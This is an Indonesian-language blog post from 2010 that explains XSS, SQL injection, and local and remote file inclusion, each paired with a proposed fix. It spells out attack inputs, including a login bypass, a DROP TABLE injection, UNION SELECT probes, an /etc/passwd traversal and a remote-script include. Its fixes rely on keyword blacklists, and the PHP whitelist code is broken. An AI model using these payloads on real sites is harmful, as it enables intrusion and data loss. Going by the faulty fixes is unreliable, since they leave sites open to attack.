Skip to main content

Protecting Website from Common Attacks

------------------------------------------------------/
[-] Title : Protecting website from common attacks
[-] Date : 08-08-2010
[-] Author : vYc0d
[-] Contact : vyc0d@hackermail.com
[-] Web : http://vyc0d.blogspot.com
[-] Language : Indonesian
------------------------------------------------------/

Konten :
[1] Pendahuluan
[2] Cross Site Scripting
[3] SQL Injection
\_ Login Form Bypassing
\_ UNION SQL Injection
[4] File Inclusion
[5] Special Thanks

[1] Pendahuluan

Artikel ini akan berisi tentang empat jenis serangan web umum dan pencegahannya, yang digunakan
di sebagian besar jenis defacement. Lima eksploitasi umum yang saya cantumkan di bawah ini
adalah XSS, SQL injection, RFI dan LFI. Sebagian besar kesalahan terjadi pada pemrograman
yang memungkinkan attacker untuk dapat menyusup ke dalam website.

[2] Cross Site Scripting

Cross Site Scripting adalah jenis celah yang digunakan oleh attacker untuk menyuntikkan kode ke halaman
web yang rentan terhadap serangan ini. Jika sebuah situs rentan terhadap cross site scripting, attacker
kemungkinan besar akan mencoba untuk menyuntikkan situs dengan javascript berbahaya atau mencoba scam pengguna
dengan menciptakan bentuk halaman web yang hampir sama untuk mendapatkan informasi.

Example:

http://www.situs.net/find.php?all=">


*Solusi (javascript) :


function RemoveBad(strTemp) {
strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|\-/g,"");
return strTemp;
}
[3] SQL Injection

*\_ Login Form Bypassing

Berikut adalah contoh kode yang dapat kita bisa bypass:

index.html file:



Password:





login.php file:

$execute = "SELECT * from database WHERE password = '{$_POST['pass'])";
$result = mysql_query($execute);
?>

Kita dapat bypass dengan menggunakan ' or '1=1', dan menjalankan "password = ''or '1=1'';".
Atau attacker dapat juga dapat menghapus database dengan menjalankan "' drop table database; --".

*Solusi :

Menggunakan mysql_real_escape_string

Contoh:



*\_ Union SQL Injection

Union SQL injection adalah ketika pengguna menggunakan perintah UNION. Memeriksa celah dengan menambahkannya
di akhir url "sebuah php?.id=". Jika terdapat error MySQL, situs tersebut kemungkinan besar
besar rentan terhadap UNION SQL Injection. Attacker melanjutkan menggunakan ORDER BY untuk menemukan kolom,
dan pada akhirnya, mereka menggunakan perintah UNION ALL SELECT.

Contoh :
http://www.situs.net/index.php?id=1'
salah satu contoh pesan error:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in.....

Setelah muncul pesan error,maka attacker melanjutkan aksinya ;))
http://www.situs.net/index.php?id=1 ORDER BY 1-- <-- No error. http://www.situs.net/index.php?id=1 ORDER BY 2-- <-- Muncul pesan error. Ini berarti hanya ada satu kolom http://www.situs.net/index.php?id=-1 UNION SELECT ALL version()-- <-- Memilih semua kolom dan menjalankan perintah version(). *Solusi : Tambahkan sesuatu seperti di bawah ini untuk mencegah SQL injection Union:

$bug = "(delete)|(update)|(union)|(insert)|(drop)|(http)|(--)|(/*)|(select)";
$patch = eregi_replace($bug, "", $patch);




[4] File Inclusion

\_ Remote File Inclusion dan Local File Inclusion

Remote File Inclusion adalah sebuah celah dimana situs mengizinkan attacker meng-includ file dari luar server.
Local File Inclusion adalah sebuah celah dalam situs dimana attacker dapat mengakses semua file di dalam server
dengan hanya melalui URL.

Contoh kode yang vulnerable :

Beberapa contoh serangan :
http://www.situs.net/page.php?page=../../../../../etc/passwd < contoh LFI http://www.situs.net/page.php?page=http://www.site.com/evilscript.txt? < contoh RFI *Solusi :

Validate the input.
$page = $_GET['page'];
$allowed = array('index.php', 'games.php' 'ip.php');
$iplogger = ('ip.php');
if (in_array $page, $pages)) {
include $page {
else
{
include $iplogger
die("IP logged.");
}

[5] Special Thanks

[-] Allah SWT, Muhammad SAW
[-] The big Family of :
[-] M0slem Hax0r - Echo - Indonesian Coder - Jasakom - Indonesian Hackers - Malang Cyber Crew
[-] ManadoCoding - Devilzc0de - Yogyacarderlink - Xcode - Hacker Newbie
[-] Klix ITN Malang - Kolam (Komunitas Linux Arek Malang)

Mirror : http://www.exploit-db.com/papers/14577/

Comments

vYc0d said…
@Fany
Weleh
klo mbulet tidur aja.wakakka
rh15c said…
two thumbs up.....
bro, am one of your fans

Popular posts from this blog

How To Enable DNS over HTTPS

  DNS over HTTPS (DoH) is a protocol for performing remote Domain Name System (DNS) resolution via the HTTPS protocol. A goal of the method is to increase user privacy and security by preventing eavesdropping and manipulation of DNS data by man-in-the-middle attacks by using the HTTPS protocol to encrypt the data between the DoH client and the DoH-based DNS resolver. An alternative to DoH is the DNS over TLS (DoT) protocol, a similar standard for encrypting DNS queries, differing only in the methods used for encryption and delivery. On the basis of privacy and security, whether or not a superior protocol exists among the two is a matter of controversial debate, while others argue the merits of either depend on the specific use case. Benefits DoH improves privacy by hiding domain name lookups from someone lurking on public WiFi, your ISP, or anyone else on your local network. DoH, when enabled, ensures that your ISP cannot collect and sell personal information related to your br...

Fix HTTPS issue in browser - Burp Suite

If you get message "Software is Preventing Firefox From Safely Connecting to This Site. Most likely a safe site, but a secure connection could not be established. This issue is caused by The original certificate provided by the web server is untrusted., which is either software on your computer or your network." lets see the tutorial. 1. With Burp suite running, visit http://burp in your browser and click the "CA Certificate" link to download and save your Burp CA certificate. Remember where you save the Burp CA certificate.

The Five Eyes - Intelligence Alliance

 The Five Eyes intelligence alliance is a secretive coalition and surveillance arrangement of countries internationally which include the United States National Security Agency (NSA), Canada’s Communications Security Establishment Canada (CSEC), the United Kingdom’s Government Communications Headquarters (GCHQ), New Zealand’s Government Communications Security Bureau (GCSB) and the Australian Signals Directorate (ASD). A series of bilateral agreements were developed in the beginning of 1946 by an alliance of five English-speaking countries over a period of time and became to known as the UKUSA agreement. This agreement established the Five Eyes alliance to share intelligence especially signals intelligence (SIGINT). These five English-speaking countries for almost 70 years have been involved in the global surveillance spying on the communications all over the world and build an infrastructure to master the internet for surveillance.